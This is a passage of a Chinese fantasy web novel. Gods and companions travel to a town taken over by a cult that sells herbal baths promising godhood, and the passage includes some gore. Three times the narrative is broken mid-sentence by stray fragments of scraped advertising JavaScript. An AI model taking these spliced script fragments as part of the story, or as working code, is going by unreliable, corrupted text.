因此,诸天仙神中有关系的,经常会出现老儿少父这种组合,起初还能作为茶余饭后的笑谈,时间久了也就屡见不鲜了。 遥旭自小天资平平,母亲去世,父亲不管,在人间蹉跎了二十几年,好不容易飞升成神,却没有适合他的神位,最后只能做个人人都嫌的瘟神。 神仙的法力来源除了信徒,还需自身修炼。做神也分三个境界:和生相、道生相、福生相。一般的神仙拼尽一生最多也就到道生相,古往今来能修到福生相的屈指可数,但含越算一个。 可遥旭却是最低的和生相,信徒自然也少得可怜。别人一心想的都是怎么往上爬,他却不思进取,在下界一片荒芜之地种菜养羊。偏那片荒芜之地还是七百年前的浩劫之地,无人不嫌,无人不弃。只因他是含越之子,平日里称他一声良旭殿下都是抬举,没有半点真心,只有满腹嘲讽。 殿中静默半晌,含越侧首示意陶仲,陶仲会意,道:“众仙僚皆已启奏,若无事,便散了吧。” 这是要把遥旭单独留下来谈话了,众仙识趣,欠身称是,纷纷退下了。 遥旭一言不发,也要跟着其他神仙一起退出去,被含越叫住:“良旭,你留下。” 遥旭脚下一顿,还是依言留下。 殿中只剩下含越和遥旭二人。 含越从宝座上走下来,道:“良旭,你就没什么要说的?” 不知从什么时候起,含越不再唤他子旭,而是和别人一样叫他良旭,和其他神仙一样。 太久了,久到他都快忘记自己还有这么一位父亲。 遥旭冷声道:“帝君希望我说什么。” 含越微微一笑,一手放在他的肩上,道:“好。几百年不见,你的本事是愈发的大了。” 遥旭瞥见他宽大的袖子里露出一截黑金护腕,微一愣神,立马又收回视线,道:“那还要多亏了帝君教导有方。” 含越点了点头,收回了手,道:“看来,你是不会回头了。” 遥旭向后退了几步,欠身道:“帝君有帝君的路要走,我也有自己的路。既然不同路,又何必回头。” 含越背过身,道:“你怎知我们不是殊途同归?” 遥旭目中一喜,但随即又淡了下来,道:“帝君亦不会回头,我们又怎能同归?” 含越没有转身,但他似乎笑了,道:“也是。” 遥旭欠身道:“帝君若无别的事,良旭就退下了。” 含越摆了摆手,没再说话。 遥旭退出大殿,忽然有一种如释重负的感觉,天都的景色再美,终究不是他的归处。 他没有回头,就像他方才说的,何必回头。 遥旭望着繁华的天都,和他离开时一样,想到之前种种,不禁感慨:“这里果然还是不适合他啊。” 他不禁想起在下界和莲溪他们一起的日子,明明才分别不久,他已经开始期待下一趟旅程了。 遥旭本想直接离开天都,临时起意转道去明月昭转转。 这里是一条长街。 长得望不到尽头,大街两侧,挤满了各式各样的店铺和小贩。迎客松和五彩灯笼高低错落,路上行神,比肩接踵。他们的穿着或朴素,或华贵,与凡人无异,只是多了凡人没有的灵光和仙气。 在这里不用担心被认出来,因为在这讨生活的小神仙是进不来内庭的,他们对于里面的人事物也不怎么关心。比起内庭那些心思各异的神官们,他们的心思就像凡间的普通百姓,要操心的事就那么几件,其他的想操心也轮不上班。 遥旭走在街上,时不时头顶飞过一只灵鸟,脚下跑过一只灵兽,驯养他们的驭温一手持着酒壶,一手持着召唤它们的红黄大招,在后面不紧不慢地追,步子颠倒,双颊晕红,走两步就仰天大笑几声,疯疯癫癫,又自在悠闲。 那驭温双眼迷离,走着走着就与一卖花的仙子撞了个满怀,二仙撞得纷纷向后弹开几步,手中一扬,驭温壶里的酒,仙子篮子里的花,纷纷扬扬地洒了一地,又给二仙浇了个彻底。旁边正好有一个卖金粉的小贩,见这氛围不错,抬手便挥出一瓶金粉助兴,金光闪闪,落花含珠。 遥旭越过他们,继续往前走,路过一家茶摊。 门口摆放着一排小炉子,炉架上还陈放着各种辅料,茶倌儿围着炉子,略施法术,控着下面的火候,他则盯着上面煮的茶汤,适时往里添加不同的辅料。从门内走出一个小仙,她手中盛着两例茶点,小心翼翼地将茶点放进门外的展柜中,挂上“今日特供”的牌子。走近一看,那茶点小巧精致,颜色淡雅,下方标明名称、用料,明码标价,概不退换。 那仙子看见遥旭,招呼道:“少郎要吃茶吗?” “我,”遥旭才一开口,便看见屋内的纱帘后坐了一个女子,那纱帘轻薄,她坐在帘子后面,身影像蒙了一层水雾影影绰绰。 清风吹起了纱帘,那女子恰时回眸一笑,眉目舒展,像雨后的山荷花,雨水只是打湿了她朴实的外表,却意外蜕变了内里的坚韧纯粹,更叫人欣赏。 那女子望向遥旭,道:“怎么回来也不打声招呼?” 遥旭一愣,继而有些难为情地挠挠头,唤了声“弥清”,道:“我心情不好,不想扰了你的兴致。” 弥清道:“那正好,进来喝杯茶。” 遥旭犹豫了一下,还是进去了。 弥清已经为他斟好了茶,遥旭才一坐定,茶和茶点就摆在他面前了。 遥旭喝了口茶,目光低垂,道:“你,过得好吗?” 弥清笑了声,道:“挺好,你知道的。” 遥旭这才抬头望向她,道:“那就好。” 二人同时拿起一块点心,指尖相触的那一刻,像是碰到了什么灼热的东西,迅速地收回了手,二人对视一眼,相顾无言。 就这么静静地坐了一会,遥旭先开口打破了平静,道:“明秀元君没有再为难你吧。” 弥清道:“我是她提拔上来的,自然不会为难我。她只是性格古怪了些,对我严厉了些,这都没什么。况且,她的舞姿晓誉三界,又掌管天下祭祀,鞭策我也是应该的。” 遥旭由衷地夸赞道:“你的琴技也是三界第一,又有疗愈净化的功效,你虽为辅神,但你的能力不在她之下。” 弥清吃了一块点心,又喝了一口茶,道:“我明白。我只是觉得她太孤独了,旁人见她永远都是优雅端庄,可望而不可即,但我与她相处了五百年,我知她内心孤独,更知她在天都的每一日都过得谨小慎微,如履薄冰。” 弥清言语停顿了片刻,望向窗外,又道:“若是有朝一日我也飞升了,那我与她就很难像如今这般相处了。”她神色忽而有些凄凉,“或许是因为我和她一样是没有来处的人,所以更能体会她的心情吧。” 遥旭神色复杂,抿唇不语。 关于每个神仙的来处,若是不太光 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 彩或是揭人伤疤,一般都是秘而不宣,毕竟传到信徒的耳中会有损形象。虽然人人都有过去,但凡人百年,神仙千年,神位更替,无需神自己宣传,凡人自会杜撰出一个个他们心中所信仰的完美的神,只要神做得不过分,属于他们的信仰就不会坍塌。 神虽在人之上,但亦受人制约。 思绪回转,杯中的茶也已喝完,弥清道:“本来想请你喝杯茶,舒缓心情。现在看来,好像适得其反了。” 遥旭摇摇头,笑道:“不,在见到你时,我的心情就已经变好了。” 弥清会心一笑,道:“那就好。” 遥旭与弥清在茶馆前告别,他出了明月昭,自天一跃而下,回了凡间。 凡间,兴风小筑。 言朝自从回了家,就开启了躺平模式。 每日日上三竿才起,晚间三更半夜才睡,白天吃着明祈做的饭,晚上还要拉着明祈坐在院子里聊天。 起初明祈还很有精神头,可没过几天,明祈就被熬得眼下乌青一片。 明祈打着哈欠,抱怨道:“你们年轻人可真有活力,但何苦拖累我这个老人家呢。哎呀......你什么时候走啊?” 言朝道:“现在春山休市,要到年后才开。另一边也没什么消息,我不在家,没地方去啊。”说罢,她两手一摊,很是无奈,表示自己也没办法。 明祈“切”了一声,道:“以前你在家还挺好的,怎么这次回来变得有点儿烦人了。” 言朝无语,望向站在窗前的墨墨,道:“墨墨,你来评评理。是不是每次我都劝他不用和我一样睡那么晚,是他自己不听,非要陪着。每次自己说着说着就起兴了,我拦都拦不住。” 墨墨点点头,叫了一声,表示认同。 言朝道:“您看,墨墨都认同了,还有什么话说?” 事实如此,明祈也辩不出个所以然,只得认栽,但仍是嘴硬道:“少说那些,你这清闲日子也过得挺久了,我就不信你还能待得住。” 言朝道:“您放心。等那什么榜灵再来,我一定会走的。” 话不禁说,当天榜灵就出现了,不过是在她的梦里。 言朝睡得香甜,梦中正坐在院中赏花,吃着新晒的杏子干,榜灵的声音突然出现。 “好~久~不~见~啊!原来你叫言朝啊!” 言朝:“你是什么东西?没有实体的鬼?” “......” “我是榜灵!榜灵!!!” 言朝:“哦,所以你是来告诉我又有新案件了。” “没错!” “......” 言朝:“你没看到我正在做梦吗!!!扰人好梦!!!” 她手一挥,便将那声音驱赶,从梦中醒来,阳光晃得她睁不开眼,这一觉睡得好累。 “醒了就起来吃饭吧。”明祈的声音从屋外传来,言朝醒了醒神,应了声好。 言朝收拾好出去,就见桌上摆了一碗米饭和几碟小菜,明祈坐在一旁的摇椅上看书。 言朝边吃边道:“如您所愿,我要走了。” 明祈放下书,道:“怎么回事?” 言朝想起昨晚榜灵入梦的情景,就气不打一处来,实在不愿回忆,只道:“人家来信儿了,我自然就得走喽。” 明祈道:“去哪?” 言朝道:“没说,但很快就会知道了。” 明祈没说话,起身出去了,再回来时,他手里拿着一个包裹。 明祈道:“这里有新做的杏子干,还有一些衣物。天凉了,自己在外面要照顾好自己。” 言朝看着这些东西,心里一阵酸楚,道:“谢谢爹爹,我会照顾好自己的。” 明祈又补充一句:“记得早点回家。” 言朝道:“好。” 言朝拜别了明祈,离开了兴风小筑,榜灵也再次出现。 “下一站,适约。” 17. 破落庙拜失迹神 言朝一路南行,边赶路边赏景,溜溜达达走了四五天才到,这一次可不会像上次弄得灰头土脸了。 说起来,适约国还与旧时的夜兹相邻,那里四季如春,常年盛开着各式各样的鲜花,适约人不论男女皆以簪花为美,故适约国也被称为花园之国。 但在五百年前,适约发生了一场大地震,地龙翻涌,威力之强大,延伸远至中原。而处在震中的适约,鸟兽尽散,大地崩裂,屋舍坍塌,百姓尽入地腹,大地合拢,哀鸿不鸣。 如今这片土地上已经建立起新的国家,昔日美景不复,但新俗仍见旧习。 言朝行至郊外荒野,于一犄角旮旯之地找到一间荒废已久的破庙,走到跟前才发现,这是一间春神庙。里头供的自然不是如今的春神,而是上一位春神,他为人时就是适约国人。 这庙不大,甚至比不上一间土地庙,头顶春神庙的匾额独剩一个“春”字,垂在半空,随时都可能掉下来,砸中一个“幸运的”过路歇脚的人,应该不会特意有人等着它掉下来。 匾额正下方有一堆黑乎乎、脏兮兮的东西,一动不动的,看那样子像一个积满了灰尘,还发了霉的石墩子。 言朝在门口站了好一会,抬脚往里走,路过那“石墩子”时,它突然动了一下,黑乎乎的一团中突然亮起一双眼睛,直勾勾地盯着她,这竟是个人。 还不等言朝反应,就听“刺啦”一声,上面的匾额就这么水灵灵地砸在了“石墩子”上。 言朝闪身退至内堂,方才太突然,来不及反应,她正想看看“石墩子”怎么样了,虽然是块朽木,重量也不可小觑。谁知那“石墩子”倏地蹿跳起身,振臂高呼:“神落啦!成神啦!哈哈哈哈哈哈哈哈哈哈哈!我成神啦!成神啦!!!” 言朝揉了揉太阳穴,见他貌似没有外伤,道:“真是骨骼惊奇,但这怕不是脑子被砸坏了吧。” 那人在空地上卖力舞动,动作毫无章法,边跳边歇斯底里地笑个不停,他舞的幅度很大,以至于将他身上的泥灰都甩开了。 言朝站在里侧,看着被甩到里面的一坨泥,又看见被坐出一个坑的门槛,皱了下眉,吐槽道:“墨墨,那家伙可比你还黑!不过,他不会一直坐在这没动吧!” 怎么还真有人特意等着被砸啊?! 那人又跳了一会,忽然停下,上半身与下半身齐平,口中不知在嘀咕些什么,听着像是某种咒语。他再起身时,一双眼只剩眼白,口中又重复着之前的话,“我成神啦!神落啊!神落啊!我终于成神啦!!!”随着他的话,他的四肢也产生了变化,双手双脚逆向翻转至身后,头不断前倾,脖子越抻越长,样子极为诡异。 言朝望着那似人似鬼的东西,见他一时未有动作,心道:“别人出门是抬头见喜,怎么到她这就成抬头见鬼了?不,是低头见鬼。看来下次还是得抬头才行。” 眼见这那鬼东西越变越诡异,她一时拿不准这到底是个什么东西,虽没做出什么危险的事,难保他一会不做。 言朝从包里掏出一颗药丸,瞄准位置,两指弹出,送进了他的口中。 只见鬼东西又动了一会后,慢慢的定住了。 言朝松了一口气,站在原地又观察了一会,正准备去看看那究竟是个什么东西时,忽闻一声脆响,鬼东西断成了两截,莲溪与遥旭出现在他身后。 言朝眼前一亮,朝他们挥手,道:“莲溪,江鱼,好久不见!” 莲溪、遥旭与言朝相视一笑,道:“桃花,好久不见。” 言朝这才走上前去查看,发现那鬼东西已经面目全非,内脏伴着鲜血一股脑的往外淌,血腥气呛得人直皱眉。嘴在整张脸上裂开,呈现出可怖的笑容,眼窝深陷,一对眼珠血丝密布,呼之欲出,尽管只有眼白,仍能看出他望向天空,颇有些死不瞑目的意味。 莲溪看向言朝,眼神关切,道:“你没受伤吧。” 言朝笑道:“我没事。我刚给他吃了颗药定住,好在你们来得及时,省得我再想办法对付了。不过,他是鬼吗?” 莲溪道:“是人。他应该是中了某种毒才导致的身体变异。” 言朝蹲下身查看,莲溪想要制止,她回以一笑,示意自己没事。 她用帕子蘸了一点流出的血,放在鼻间闻了闻,道:“何止是身体变异,行为举止也是疯疯癫癫。” 她又看了看暴露出来的内脏,随便找了一根枯树枝一碰,瞬间化为齑粉。果然,外观看着没什么问题,但内里早就空了。 这毒很有意思,不仅会让人失智变异,还能在蚕食内脏的同时维持正常的运转,若遇外力相阻,一碰即碎。 莲溪朝她伸出一只手,道:“起来吧,这东西脏。” 言朝顺势站起身,有些伤脑筋道:“这才完了一个中蛊的,又来一个中毒的。看来这一趟也不轻松喽。” 遥旭道:“别担心!只要咱仨在一块儿,啥都不是问题。” 莲溪道:“他说的没错。” 言朝笑了笑,道:“也对,毕竟我们现在身份不同了。”语毕,她这才发现这次只有他们两个人,又道,“怎么不见一撮毛?” 遥旭道:“上次一趟又惊又累的,我让它在快乐老家休息了,这次就不带它出来了。” 言朝听闻,叹了口气,道:“它不在还怪想的。不过,”她顿了片刻,又道,“没有一撮毛帮你驮着那些宝贝,我们怕是吃不到你做的饭了吧。” 莲溪低笑了一声,没说话。 遥旭这才反应过来,道:“好啊好啊!原来你打的是这个主意啊!一撮毛要是知道肯定会伤心的!还有,我可是很贵的!” 自从上次在夜兹赢了选拔,他就自抬身价,不轻易展示手艺。但实际上,除了他自己,吃过他做饭的就只有莲溪而已,这个身价在莲溪这不成立,所以抬了等于没抬。 “是这样吗。”言朝一脸惋惜,道:“那真是太可惜了。上次你做的那道菜,我回去复刻了一下,虽然不及你的水平,但也是好评一片,都说研究这菜的人水平极高。我还想着这次再跟你学几道,但你既然这么说,那就没有办法喽。” 说罢,言朝就转身往庙里走。 遥旭连忙追上前去,边追边喊道:“哎不是,别走啊!我说着玩的!”有人认可他的厨艺,他高兴还来不及,好不容易来了新人,可不能给弄丢了。 莲溪跟在最后,无奈地笑了几声。 三人进到庙中,庙中四壁斑驳,残香冷盘,所供神像如今只剩下了下半身,若不是他脚边盘绕着一株石花,谁又能想到,这是那位如春雨润万物一般的神明呢。 言朝看那香坛上只有一坛子的香灰,所幸在香案下找到一支断香,便插进香坛中点燃,又从包里掏出几块杏子干放到供盘上,对着神像拜了三拜。 言朝转身时,发现他们二人也同她一道参拜,便问道:“你们为何也拜?” 莲溪道:“心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中敬重便拜了。” 言朝道:“你们知道他是谁?” 遥旭道:“他是受世人敬仰的春神,亦是曾经的天稷四子之一。只可惜......” “只可惜,那位曾经受人敬仰的春神,早就像这破败的庙一样,物是人非了。” 言朝转身望向神像,眼底一片落寞。 莲溪冷笑一声,道:“世人所信仰的并非是成为神明的那个人,而是那个位置罢了。如今这世上还有香火供奉的旧神庙,应是所剩无几了。” 这位春神出身普通,但本事不小。 天稷四子,不是太子,就是侠客,而他,只是一个平平无奇的种花匠。他容貌丰神如玉,待人春风和气,但实则是一把温柔刀。 他熟悉世间花草,善用其制药,与其他三子探案时,常用他所做的药救治了很多人,亦甄别了很多稀有的毒药。 但他最擅长的还是种花。 昔年适约大雪频频,终日无春,以致大地寸草不生,百姓苦不堪言。那时,他培育出一种具有极强生命力的花,可在寒冰冻土中盛开。此花根茎粗长,花朵圆润,成螺旋状盘绕向上生长,如同坚韧向上的生命,他为此花取名“寄春朝”。 怎料此花一出,风雪尽退,他因此飞升春神。 按照上面的规矩,季节神的飞升须得对应所在季节。春为四季之首,他飞升时其他三位仍是空缺,本该相继飞升,但因他法力强劲,一人可抵四季,便以春神之名统掌四季,这也是史无前例的。 世人感念其贡献,在他退隐不知所踪后,人间仍有供奉他的宫观庙宇,即便后来新的春神即位,他的名望始终不减。 世事易变,几百年过去了,如今的人们早已不知那陈年旧事,他的宫观也就随着世人的遗忘而渐渐没落。 没有了信徒的信仰,虽然他的境界已至福生相,但仍会大打折扣。他已渐渐淡忘于世人的眼中,待到魂销命陨时,他将被彻底遗忘。 莲溪道:“桃花,你又因何而拜?” 言朝侧身一笑,道:“春神象征着新生与希望,人生在世,靠的不就是这点希望吗。我心中有所望之事,自然要拜希望之神。” 遥旭道:“对了桃花,刚才外面那人是怎么回事?” 言朝道:“他大概是脑子被砸坏了吧。嘴里一直念叨着‘成神了’、‘神落了’,我猜,脑子坏了的应该不止他一个吧。” 莲溪挑眉,道:“坏不坏的,去看看不就知道了。” 三人离开春神庙,又走了一炷香的时间,红日将落,行至一个镇子,名为“胜春”。 名字听着喜气,本以为会是一片花团锦簇、其乐融融的景象,事实上,说是死气沉沉、群魔乱舞也不为过。 刚踏进胜春镇的地界,明明是秋高气爽的午后,却恍如一脚迈入黑夜,吹着一股森冷阴寒的邪风,吹得人心里直发毛。 沿途草木枯败,毫无生气。道路两侧,十步一旗帜,那旗帜黑底白纹,正中画着一个暗红的,头戴羽冠,手握太阳,张着血盆大口喷火的人,风吹幡动,空气中弥漫着若有若无的金属腥气。 这人物竟是用人血画的! 而这样的旗帜竟有尽百面! 莲溪摘下一面旗帜,冷笑一声,道:“看来你说对了,脑子坏了的不止一个。” 两人上前一看,那旗帜的白纹上绣的可不是什么祥云吉祥纹,而是以吉祥纹为底的绣字——授天上神。 18. 人欲成神万法混 也不知造这旗面的究竟是何人,不止脑子不好,口气也不小。 三人进到城中,夜幕初现,大街上人头攒动,都穿着黑、白、灰三色的罩袍,也分不清男女,他们手中都提着一盏白、绿、紫的三色灯笼,那场面像极了手持鬼火,行走在人间的鬼魅,怪异又瘆人。 三人停下脚步,言朝压低了声音,道:“七月半都过了,这难道是人间的妄生城吗?” 莲溪道:“桃花去过那里吗?” 言朝摇头,道:“那可是鬼界的地盘,我一个大活人去好像不太合适吧。不过,”言朝眨了眨眼,又道,“我还挺感兴趣的。” 莲溪弯了弯唇,道:“好。我知道了。” 嗯?知道什么? 言朝不解其意,正琢磨他这话是什么意思,就听遥旭道:“我们要不先找个地方落脚吧,这街上的人看着可不太友好啊。” 言朝抬眼一看,人们虽蒙着罩袍,看不到表情,但也能觉察出这些人正用一种怪异的眼光打量着他们。 此地不宜久留。 三人继续往里走,身边每路过一个人都要驻足看他们一会,透过罩袍还传出一声低语,言朝从没听过这种语言,下意识认为这肯定不是什么好话。 沿街林立的商铺和摊位,大门四开,商品琳琅满目,却无人售卖。路过一家商铺时,突然从门帘后冒出一颗蒙着白色罩袍的人头,头顶还映着三色灯笼的火光,吓了遥旭一跳,险些喊出声来,连带着一旁的言朝都吓到了。 莲溪扶住她,道:“你没事吧。” 言朝抚了抚胸口,道:“没事。不过这地方还真是不好说啊。” 不看不知道,他们卖的东西也十分奇怪:《神上门讲义》、《神上门真经》、真神一念珠、摄神上清铃、三道神归印、圣神药浴包、飞仙临梦羹...... 别的暂且不论,那飞仙临梦羹,名字倒是好听,实则就是一锅冒着绿烟的,黑黢黢的粘稠物,咕嘟咕嘟地冒着泡,上面还飘着尚未煮化的蛇头、壁虎尾、蟾蜍脚,还混着一些不明来源的内脏。 这要是喝上一碗,确实是梦里见仙了,人也要一命呜呼了。 言朝扶额,心道:“这都是些什么乱七八糟的东西啊。” 初到此地,疑点重重,言朝便想挑几样回去研究研究,来到买药浴包的摊位前,一个身着黑罩袍的人突然从底下蹿了上来,才经历了一回,这次镇定了不少。 罩袍后的声音听着像是个中年男子,操着一口不太流利的中原话,道:“慧女是想成神吗?” 言朝眼皮子一跳,问道:“你刚刚叫我什么?还有,你是说这药包能成神?” 罩袍男谄媚地笑了一声,道:“您肩头停靠的乌鸦可是圣物!您是有大慧根的人,自然要称做慧女。至于这药浴包,只要每日泡上一个时辰,连泡九九八十一天,便可直达天庭,飞升成神。” 言朝尬笑一声,道:“连天劫都免了。这么说,泡了这药浴的人都成神了?” 罩袍男道:“那是当然!他们如今都已经上天享福,不在这里了。” 遥旭道:“不知有多少人飞升啊?” 罩袍男颇为自豪道:“少说也有千余人了。” “......” “......” 遥旭猛翻白眼,十分无语,低声嘀咕道:“神位一共就那么些个,他们以为上天庭是像去菜市场那么简单吗......这要是真有千余人上了天,天庭还不得被挤个水泄不通。” 依照现在情形猜测,那些“上天”的人恐怕是凶多吉少了。 “既然成神如此简单,那为何这里还有这么多的人?” 莲溪突然说了一句话,遥旭恍觉不对。是啊!既然成神如此容易,不应该集体“升天”吗? 罩袍男道:“我们都是神子,只要完成在人间的修行,再经由神上门的真神点拨,自然就会回到天上。” “......” 言朝搓了把脸,心道:“神子?神经还差不多。” 莲溪道:“那你们的修行之道是什么?难不成就是穿着这一身见不得光的破袍子吗。” 莲溪这句话饱含嘲讽之意,极不客气,罩袍男却置若罔闻,还反过来嘲笑道:“你这个无知又不识货的年轻人,真应该到我们神上门的九间道洗礼一番。” 这时,一旁卖书籍的老板突然出现在三人面前,手中举着一本《神上门综记》,道:“年轻人就要多读书,方能领悟真神之道。” 莲溪随意翻开一页,只见上面写着“人世凄凄苦,成神为正道。入世当享乐,乐极自成神”。末尾还写了一句“神上门,人间天堂也”。 莲溪“哦?”了一声,笑道:“神上门,好啊。我倒是有点好奇这‘人间天堂’是什么样子了。” 罩袍男一听,又说了一遍那句言朝听不懂的话,笑道:“等你们见了真神,一定会被真神的魅力折服,并成为真神最忠诚的信徒!” 遥旭目光一凛,道:“好,我们等着。” 三人欲要离开,那罩袍男叫住了言朝,道:“慧女且慢,您的药包还没拿。” 言朝转身,差点把这事给忘了,她从包中掏出银钱,却被罩袍男回绝:“您是慧女,这药包就送您了。” 言朝闻言,也不推辞,收回了银钱,道:“谢啦!不过,你刚说那句话是什么意思?” 罩袍男一怔,随即明白她的意思,故弄玄虚道:“等您见到真神自会知晓,真神会保佑您,祝福您的。” 三人离开后,在这条街的尽头看到了一家极不起眼的小店,也是这里唯一一家关门的店面,一看招牌“迟家店”。 言朝提议道:“不如咱们今晚就住这怎么样?” 莲溪与遥旭对视一眼,道:“听你的。” 言朝上前敲门,敲了好半晌,门才缓缓打开一道缝,门缝内是一个没穿罩袍的老妇人,她十分防备地打量着言朝,道:“你有什么事吗?” 言朝莞尔,道:“老人家,您别紧张。我们是想住店。” 老妇惊讶地看向言朝,道:“你,你说你要住店?”老妇显然没想到她会如此说,不禁又确认一遍,道,“你们,真的要住店吗?” 言朝微微侧身,指向身后二人,道:“您看,我们三个人,如假包换。” 老妇又看了看两人,思虑少顷,道:“进来吧。” 老妇一开门,才看到言朝肩头的墨墨,瞳孔骤然紧缩,惊慌大叫道:“是乌鸦!!!别过来!别过来!!”老妇连连后退,脚下不防,瘫倒在地上,像是受到了极大的刺激,浑身战栗,失声痛哭。 遥旭道:“你怎么了?” 言朝不解,赶紧让墨墨钻进包里,尝试安慰道:“您别怕,别怕。它不会伤害您的......” “不!我不听!!你们,你们是神上门的人......”老妇凄声嚎叫一声,道,“苍天啊!为何就是不愿放过我们啊!!!” 言朝一时无措,知道自己现在说什么老妇都听不进去,但又必须得让她冷静下来,便向一旁的两人投去求助的目光。 莲溪来到老妇身边,蹲下身,一边轻抚着背,一边放缓了声音,道:“我们并非神上门的人,不会伤害你,乌鸦是同伴,并非那邪门歪道的之物。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 一听这声音,言朝心忽的漏了半拍。 他说,同伴。 他的声音低沉清透,似有魔力一般,老妇的情绪竟真的渐渐平稳下来,颤巍巍道:“你们真的不是神上门的人?” 遥旭拍着胸脯保证道:“如假包换,绝无欺瞒。” 老妇又打量了他们半天,终于放下心来,莲溪将她扶起,她擦擦眼泪,展颜道:“方才是老妪失态了,三位夙夜前来,一定饿了,我这就去为你们准备些吃食。三位好坐,桌上的茶是新沏的。” 莲溪道:“有劳了。” 老妇路过言朝身边,欠身道:“对不起姑娘,刚才冲撞姑娘了。” 言朝摇摇头,温声道:“您言重了,是我唐突了。” 老妇笑了笑,招呼三人落座,她便转身去厨房了。 三人在方桌前落座,莲溪给言朝倒了杯茶,果然是温热的,言朝自然接过,喝了一口,入口有些涩,但喝进去身体暖暖的。 这里地方不大,就两张桌子,陈设简单,略有发旧,但收拾的很干净。烛台上的蜡烛明明灭灭,发出极细微的“滋啦”声,照得一室温暖。 一道门,两个世界。 不多时,老妇人端上来一盘糙饼,一叠酱菜和三碗野菜汤,老妇人面露窘态,道:“实在对不住,我们只有这些......” 遥旭率先拿起一块糙饼,咬了一大口,点头道:“这饼真不错!外焦里软,还带着丝丝甜味。我喜欢!” 言朝也端起碗喝了一口野菜汤,称赞道:“能把如此简单的野菜做得如此美味,一般人可没这水平。” 莲溪看了言朝一眼,一口饼,一口汤,点点头,没说话。 老妇闻言,眉头舒展,道:“你们不嫌弃就好。” 三人吃饱喝足,思虑一番,还是决定问问,言朝道:“我能问问您,为什么会如此忌讳神上门吗?” 老妇垂首不语,沉默半晌,边摇头边低声啜泣,似有难言之隐,不愿多言。 言朝低叹一声,道:“既然不愿说,我就不问了。” 老妇却突然紧紧握住言朝的手,眼中噙着泪,目光深远,似有万语千言,又好像是想到了什么,目光黯淡,心中热望一点点冷却,握紧的双手也无力地下落。 言朝看在眼里,却没说什么,只是及时回握住那双饱经风霜的手,宽慰似的拍了拍,一股暖流在掌中流连。 两个人都笑了。 三人上楼聚在遥旭的房间,言朝拿出那副药包,打开一看,里面放着一张说明,再瞧内容,可不得了。 白芷:去三尸; 桃皮:辟邪气; 柏叶:降真仙; 零棱:集灵圣; 木香:消秽召真。 再一看剂量,每味药竟足足有五钱,还要泡足九九八十一天,这要是再加点葱姜八角,人都要腌入味了。 言朝道:“这能不能成神是不知道,但肯定能让泡足了的人化成灰都是香的。” 莲溪将那本《神上门综记》往桌上一扔,笑道:“飞升在这简单如清水,什么都不用做,只要享乐即可,人们沉迷其中难以自拔。就怕这清水混了泥,最后乐极生悲一场空。简直是愚蠢至极。” 遥旭冷哼一声,道:“一念生万念。成神若是这么容易,那那些一心想要飞升,却被天劫劈死的人,岂不是要血溅五步,投胎也不能安生。” 有的人啊,总想一步登天,可这世上哪有那么多天上掉馅饼的好事。 做神,又岂是人们想的那般自在逍遥。 这哪里是什么正道法门,根本就是蛊惑人心的邪魔歪道。 19. 人欲成神万法混2 如果药浴包是为了“成神”,书籍是为了“教化”,那这些器具又是做什么的? 莲溪道:“为了驱散一切阻碍他们修行的恶灵。” 一想到外面那些连脸都看不见的罩袍人,言朝脱口而出:“就外面那些人的装扮,真的恶灵来了,都得对他们礼让三分吧。” 遥旭哈哈一笑,道:“鬼来了都得怀疑,究竟谁才是鬼。” 言朝还有一点不明白,问道:“既然以享乐为主,应该过着光鲜亮丽的生活,为何还要搞成这副样子?” 莲溪翻开一页,指着上面的文字,道:“月华为阴,日华为阳。他们自封神上神,便要立足于太阳之上。四时之首,春为阳中,万物以生,阳为根本。” 遥旭不解,道:“难不成他们在向春神致敬?” “不,他们是在藐视春神。”言朝目中升起一股冷意,道,“还记得我们在春神庙遇见的那个人吗,他说‘神落了,成神了。’落的正是春神。” “春神虽为四时之首,但他统掌四季,最是注重四时平衡。神上门却只讲春之阳气,难道不是踩着春神的名头行不义之事吗!” 莲溪与遥旭齐齐看向言朝,言朝心中气愤,声音不觉提高,一时竟没发觉自己的反应好像有点过大了。 言朝干笑一声,道:“我好像有点太激动了啊。” 莲溪一笑,一手支着下巴,偏头看向她。 遥旭撇撇嘴,道:“没意思,你怎么还抢人台词啊。” 言朝笑道:“我这就叫先发制人!” 莲溪看了眼窗外,道:“天色不早了,早些休息吧。说不定明天那位‘真神’就会找上门了。” 此话一出,一股困意袭来,遥旭打了个哈欠,催促道:“对对对!天大地大,睡觉最大!赶快去休息了!”说罢就起身往外走。 言朝跟在后面,走到门口又停下,道:“我有个事挺好奇。” 遥旭一听,也停下脚步,道:“啥事?” 言朝眨眨眼,表情极其认真道:“你们也需要休息吗?” 遥旭:“......” 莲溪哈哈笑了几声,道:“桃花觉得呢?” “我觉得......”言朝才一开口,就被遥旭制止了,“我们当然需要休息了!都是人身肉长的,不睡觉可是会影响食欲的!” 言朝道:“哈哈哈,所以天大地大,吃饭最大!” 遥旭道:“等等!不是!这好像是我的房间吧,我干嘛要出去啊!莲溪,快回你自己屋里去!” 莲溪拍了下他的肩膀,神色戏谑,不言而喻。 一声“喂”还没喊出声,就被莲溪扬手一关,封在门里了。 莲溪微微一笑,道:“桃花,好梦。” 言朝莞尔,道:“你也是。” 言朝前脚刚一回到房间,后脚就看到一个戴着宽大斗笠的孩子拎着一桶热水跟进来,他太矮小了,斗笠遮住了孩子的脸,要不是那顶斗笠和那桶水,她还真发现不了。 言朝见那那孩子手里的水拿的不稳,她正想上前接过,那孩子却道:“我自己可以的。” 那声音稚嫩又倔强,言朝只好收回想要帮忙的手,就见他小小的步子,走得缓慢而坚定,爬上浴桶旁的矮凳,终将那桶水稳稳地倒了进去。 看样子,他已经不是第一次做这件事了。 言朝道:“谢谢你啊,小朋友。”她从包里掏出一块杏子干,又道,“这杏干可好吃了,给你一块,就当是谢你为我打水,可好?” 言朝本想借机看看他的样子,他却防备一般急忙后退了几步,把斗笠压得更低。 她这才发现,那只从宽大袖子里伸出的手竟惨白如纸,而他这身略大的衣袍下竟是一个极瘦小的身躯。不由心下一惊,刚刚那桶水可不轻。 那孩子有些紧张,道:“我......我不要。” 言朝温声道:“你别害怕,我只是想感谢你。如果你不喜欢,那就算了。” 